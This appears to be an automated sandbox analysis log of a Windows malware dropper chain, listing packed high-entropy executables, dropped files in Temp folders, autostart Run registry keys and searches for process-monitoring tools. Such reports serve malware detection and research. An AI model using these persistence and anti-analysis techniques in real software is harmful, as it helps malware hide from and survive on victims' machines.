Source: QVVPAZNCIISWKSVDLM23B.exe.14.dr	Static PE information: real checksum: 0x2a5a25 should be: 0x2ad370
Source: file.exe	Static PE information: real checksum: 0x2cd975 should be: 0x2d3faf
Source: B7KMZCE66VGDP83M16.exe.0.dr	Static PE information: real checksum: 0x1d4767 should be: 0x1d9469
Source: 8Z5C764IBSHZ8A5U9SVRCREF.exe.0.dr	Static PE information: real checksum: 0x2a5a25 should be: 0x2ad370
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe.11.dr	Static PE information: real checksum: 0x1d4767 should be: 0x1d9469
Source: 3f779c1cca.exe.8.dr	Static PE information: real checksum: 0x2cd975 should be: 0x2d3faf
Source: PR9MM82BT6H8ASEPAAV3FFFU6W4.exe.14.dr	Static PE information: real checksum: 0x1d4767 should be: 0x1d9469
Source: 70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe.11.dr	Static PE information: real checksum: 0x2a5a25 should be: 0x2ad370
Source: 994a9a760e.exe.8.dr	Static PE information: real checksum: 0x1d4767 should be: 0x1d9469
Source: num[1].exe.8.dr	Static PE information: real checksum: 0x0 should be: 0x52a2a

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: tcduwnvy
Source: file.exe	Static PE information: section name: djrlngwz
Source: file.exe	Static PE information: section name: .taggant
Source: B7KMZCE66VGDP83M16.exe.0.dr	Static PE information: section name:
Source: B7KMZCE66VGDP83M16.exe.0.dr	Static PE information: section name: .rsrc
Source: B7KMZCE66VGDP83M16.exe.0.dr	Static PE information: section name: .idata
Source: B7KMZCE66VGDP83M16.exe.0.dr	Static PE information: section name:
Source: B7KMZCE66VGDP83M16.exe.0.dr	Static PE information: section name: uolrxmar
Source: B7KMZCE66VGDP83M16.exe.0.dr	Static PE information: section name: whwdztvn
Source: B7KMZCE66VGDP83M16.exe.0.dr	Static PE information: section name: .taggant
Source: 8Z5C764IBSHZ8A5U9SVRCREF.exe.0.dr	Static PE information: section name:
Source: 8Z5C764IBSHZ8A5U9SVRCREF.exe.0.dr	Static PE information: section name: .idata
Source: 8Z5C764IBSHZ8A5U9SVRCREF.exe.0.dr	Static PE information: section name: vxijesvo
Source: 8Z5C764IBSHZ8A5U9SVRCREF.exe.0.dr	Static PE information: section name: eoamyyhq
Source: 8Z5C764IBSHZ8A5U9SVRCREF.exe.0.dr	Static PE information: section name: .taggant
Source: QZRNZLINJW4FDHW89WOCWU0IJ.exe.0.dr	Static PE information: section name:
Source: QZRNZLINJW4FDHW89WOCWU0IJ.exe.0.dr	Static PE information: section name: .idata
Source: QZRNZLINJW4FDHW89WOCWU0IJ.exe.0.dr	Static PE information: section name:
Source: QZRNZLINJW4FDHW89WOCWU0IJ.exe.0.dr	Static PE information: section name: gwmdqjxo
Source: QZRNZLINJW4FDHW89WOCWU0IJ.exe.0.dr	Static PE information: section name: xvafdjqx
Source: QZRNZLINJW4FDHW89WOCWU0IJ.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.4.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name: .idata
Source: skotes.exe.4.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name: gwmdqjxo
Source: skotes.exe.4.dr	Static PE information: section name: xvafdjqx
Source: skotes.exe.4.dr	Static PE information: section name: .taggant
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name: .rsrc
Source: random[1].exe.8.dr	Static PE information: section name: .idata
Source: random[1].exe.8.dr	Static PE information: section name: tcduwnvy
Source: random[1].exe.8.dr	Static PE information: section name: djrlngwz
Source: random[1].exe.8.dr	Static PE information: section name: .taggant
Source: 3f779c1cca.exe.8.dr	Static PE information: section name:
Source: 3f779c1cca.exe.8.dr	Static PE information: section name: .rsrc
Source: 3f779c1cca.exe.8.dr	Static PE information: section name: .idata
Source: 3f779c1cca.exe.8.dr	Static PE information: section name: tcduwnvy
Source: 3f779c1cca.exe.8.dr	Static PE information: section name: djrlngwz
Source: 3f779c1cca.exe.8.dr	Static PE information: section name: .taggant
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.8.dr	Static PE information: section name: .idata
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name: uolrxmar
Source: random[1].exe0.8.dr	Static PE information: section name: whwdztvn
Source: random[1].exe0.8.dr	Static PE information: section name: .taggant
Source: 994a9a760e.exe.8.dr	Static PE information: section name:
Source: 994a9a760e.exe.8.dr	Static PE information: section name: .rsrc
Source: 994a9a760e.exe.8.dr	Static PE information: section name: .idata
Source: 994a9a760e.exe.8.dr	Static PE information: section name:
Source: 994a9a760e.exe.8.dr	Static PE information: section name: uolrxmar
Source: 994a9a760e.exe.8.dr	Static PE information: section name: whwdztvn
Source: 994a9a760e.exe.8.dr	Static PE information: section name: .taggant
Source: DBQJ2COS8NEE0DVFAHC8.exe.11.dr	Static PE information: section name:
Source: DBQJ2COS8NEE0DVFAHC8.exe.11.dr	Static PE information: section name: .idata
Source: DBQJ2COS8NEE0DVFAHC8.exe.11.dr	Static PE information: section name:
Source: DBQJ2COS8NEE0DVFAHC8.exe.11.dr	Static PE information: section name: gwmdqjxo
Source: DBQJ2COS8NEE0DVFAHC8.exe.11.dr	Static PE information: section name: xvafdjqx
Source: DBQJ2COS8NEE0DVFAHC8.exe.11.dr	Static PE information: section name: .taggant
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe.11.dr	Static PE information: section name:
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe.11.dr	Static PE information: section name: .rsrc
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe.11.dr	Static PE information: section name: .idata
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe.11.dr	Static PE information: section name:
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe.11.dr	Static PE information: section name: uolrxmar
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe.11.dr	Static PE information: section name: whwdztvn
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe.11.dr	Static PE information: section name: .taggant
Source: 70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe.11.dr	Static PE information: section name:
Source: 70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe.11.dr	Static PE information: section name: .idata
Source: 70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe.11.dr	Static PE information: section name: vxijesvo
Source: 70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe.11.dr	Static PE information: section name: eoamyyhq
Source: 70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe.11.dr	Static PE information: section name: .taggant
Source: PR9MM82BT6H8ASEPAAV3FFFU6W4.exe.14.dr	Static PE information: section name:
Source: PR9MM82BT6H8ASEPAAV3FFFU6W4.exe.14.dr	Static PE information: section name: .rsrc
Source: PR9MM82BT6H8ASEPAAV3FFFU6W4.exe.14.dr	Static PE information: section name: .idata
Source: PR9MM82BT6H8ASEPAAV3FFFU6W4.exe.14.dr	Static PE information: section name:
Source: PR9MM82BT6H8ASEPAAV3FFFU6W4.exe.14.dr	Static PE information: section name: uolrxmar
Source: PR9MM82BT6H8ASEPAAV3FFFU6W4.exe.14.dr	Static PE information: section name: whwdztvn
Source: PR9MM82BT6H8ASEPAAV3FFFU6W4.exe.14.dr	Static PE information: section name: .taggant
Source: QVVPAZNCIISWKSVDLM23B.exe.14.dr	Static PE information: section name:
Source: QVVPAZNCIISWKSVDLM23B.exe.14.dr	Static PE information: section name: .idata
Source: QVVPAZNCIISWKSVDLM23B.exe.14.dr	Static PE information: section name: vxijesvo
Source: QVVPAZNCIISWKSVDLM23B.exe.14.dr	Static PE information: section name: eoamyyhq
Source: QVVPAZNCIISWKSVDLM23B.exe.14.dr	Static PE information: section name: .taggant
Source: HR483MUGWRQ77A8EZ5D.exe.14.dr	Static PE information: section name:
Source: HR483MUGWRQ77A8EZ5D.exe.14.dr	Static PE information: section name: .idata
Source: HR483MUGWRQ77A8EZ5D.exe.14.dr	Static PE information: section name:
Source: HR483MUGWRQ77A8EZ5D.exe.14.dr	Static PE information: section name: gwmdqjxo
Source: HR483MUGWRQ77A8EZ5D.exe.14.dr	Static PE information: section name: xvafdjqx
Source: HR483MUGWRQ77A8EZ5D.exe.14.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05F52312 push esi; iretd	0_3_05F52320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05F52B1B push 566D7034h; iretd	0_3_05F52B20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016B0600 push dword ptr [ebx]; retf	0_3_016B0CC1
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Code function: 11_3_01225713 pushfd ; retf	11_3_01225715
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Code function: 11_3_01225713 pushfd ; retf	11_3_01225715
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Code function: 11_3_01225713 pushfd ; retf	11_3_01225715
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Code function: 11_3_01225713 pushfd ; retf	11_3_01225715
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Code function: 11_3_01225713 pushfd ; retf	11_3_01225715
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Code function: 11_3_01225713 pushfd ; retf	11_3_01225715
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Code function: 11_3_059B66B0 pushad ; iretd	11_3_059B66B1
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Code function: 11_3_059B66B0 pushad ; iretd	11_3_059B66B1
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Code function: 11_3_059B66B0 pushad ; iretd	11_3_059B66B1
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Code function: 11_3_059B66B0 pushad ; iretd	11_3_059B66B1
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Code function: 11_3_059B66B0 pushad ; iretd	11_3_059B66B1
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Code function: 11_3_059B66B0 pushad ; iretd	11_3_059B66B1
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Code function: 11_3_059B66B0 pushad ; iretd	11_3_059B66B1
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Code function: 11_3_059B66B0 pushad ; iretd	11_3_059B66B1
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Code function: 11_3_059B66B0 pushad ; iretd	11_3_059B66B1
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Code function: 11_3_059B66B0 pushad ; iretd	11_3_059B66B1
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Code function: 11_3_059B953A push ecx; retf	11_3_059B9560
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Code function: 11_3_059B953A push ecx; retf	11_3_059B9560
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Code function: 11_3_059B953A push ecx; retf	11_3_059B9560
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Code function: 11_3_059B66B0 pushad ; iretd	11_3_059B66B1
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Code function: 11_3_059B66B0 pushad ; iretd	11_3_059B66B1
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Code function: 11_3_059B66B0 pushad ; iretd	11_3_059B66B1
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Code function: 11_3_059B66B0 pushad ; iretd	11_3_059B66B1
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Code function: 11_3_059B66B0 pushad ; iretd	11_3_059B66B1
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Code function: 11_3_059C2E8C push ss; ret	11_3_059C2EA5
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Code function: 11_3_059B66B0 pushad ; iretd	11_3_059B66B1
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Code function: 11_3_059B66B0 pushad ; iretd	11_3_059B66B1
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Code function: 11_3_059B66B0 pushad ; iretd	11_3_059B66B1

Source: file.exe	Static PE information: section name: entropy: 7.978140853440023
Source: B7KMZCE66VGDP83M16.exe.0.dr	Static PE information: section name: uolrxmar entropy: 7.953449790469483
Source: 8Z5C764IBSHZ8A5U9SVRCREF.exe.0.dr	Static PE information: section name: entropy: 7.774389010907879
Source: QZRNZLINJW4FDHW89WOCWU0IJ.exe.0.dr	Static PE information: section name: entropy: 7.969312241143842
Source: QZRNZLINJW4FDHW89WOCWU0IJ.exe.0.dr	Static PE information: section name: gwmdqjxo entropy: 7.954093232222998
Source: skotes.exe.4.dr	Static PE information: section name: entropy: 7.969312241143842
Source: skotes.exe.4.dr	Static PE information: section name: gwmdqjxo entropy: 7.954093232222998
Source: random[1].exe.8.dr	Static PE information: section name: entropy: 7.978140853440023
Source: 3f779c1cca.exe.8.dr	Static PE information: section name: entropy: 7.978140853440023
Source: random[1].exe0.8.dr	Static PE information: section name: uolrxmar entropy: 7.953449790469483
Source: 994a9a760e.exe.8.dr	Static PE information: section name: uolrxmar entropy: 7.953449790469483
Source: DBQJ2COS8NEE0DVFAHC8.exe.11.dr	Static PE information: section name: entropy: 7.969312241143842
Source: DBQJ2COS8NEE0DVFAHC8.exe.11.dr	Static PE information: section name: gwmdqjxo entropy: 7.954093232222998
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe.11.dr	Static PE information: section name: uolrxmar entropy: 7.953449790469483
Source: 70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe.11.dr	Static PE information: section name: entropy: 7.774389010907879
Source: PR9MM82BT6H8ASEPAAV3FFFU6W4.exe.14.dr	Static PE information: section name: uolrxmar entropy: 7.953449790469483
Source: QVVPAZNCIISWKSVDLM23B.exe.14.dr	Static PE information: section name: entropy: 7.774389010907879
Source: HR483MUGWRQ77A8EZ5D.exe.14.dr	Static PE information: section name: entropy: 7.969312241143842
Source: HR483MUGWRQ77A8EZ5D.exe.14.dr	Static PE information: section name: gwmdqjxo entropy: 7.954093232222998

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File created: C:\Users\user\AppData\Local\Temp\QVVPAZNCIISWKSVDLM23B.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001105001\num.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File created: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File created: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File created: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File created: C:\Users\user\AppData\Local\Temp\HR483MUGWRQ77A8EZ5D.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File created: C:\Users\user\AppData\Local\Temp\PR9MM82BT6H8ASEPAAV3FFFU6W4.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fb9fc5d370.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3f779c1cca.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 994a9a760e.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Window searched: window name: FilemonClass
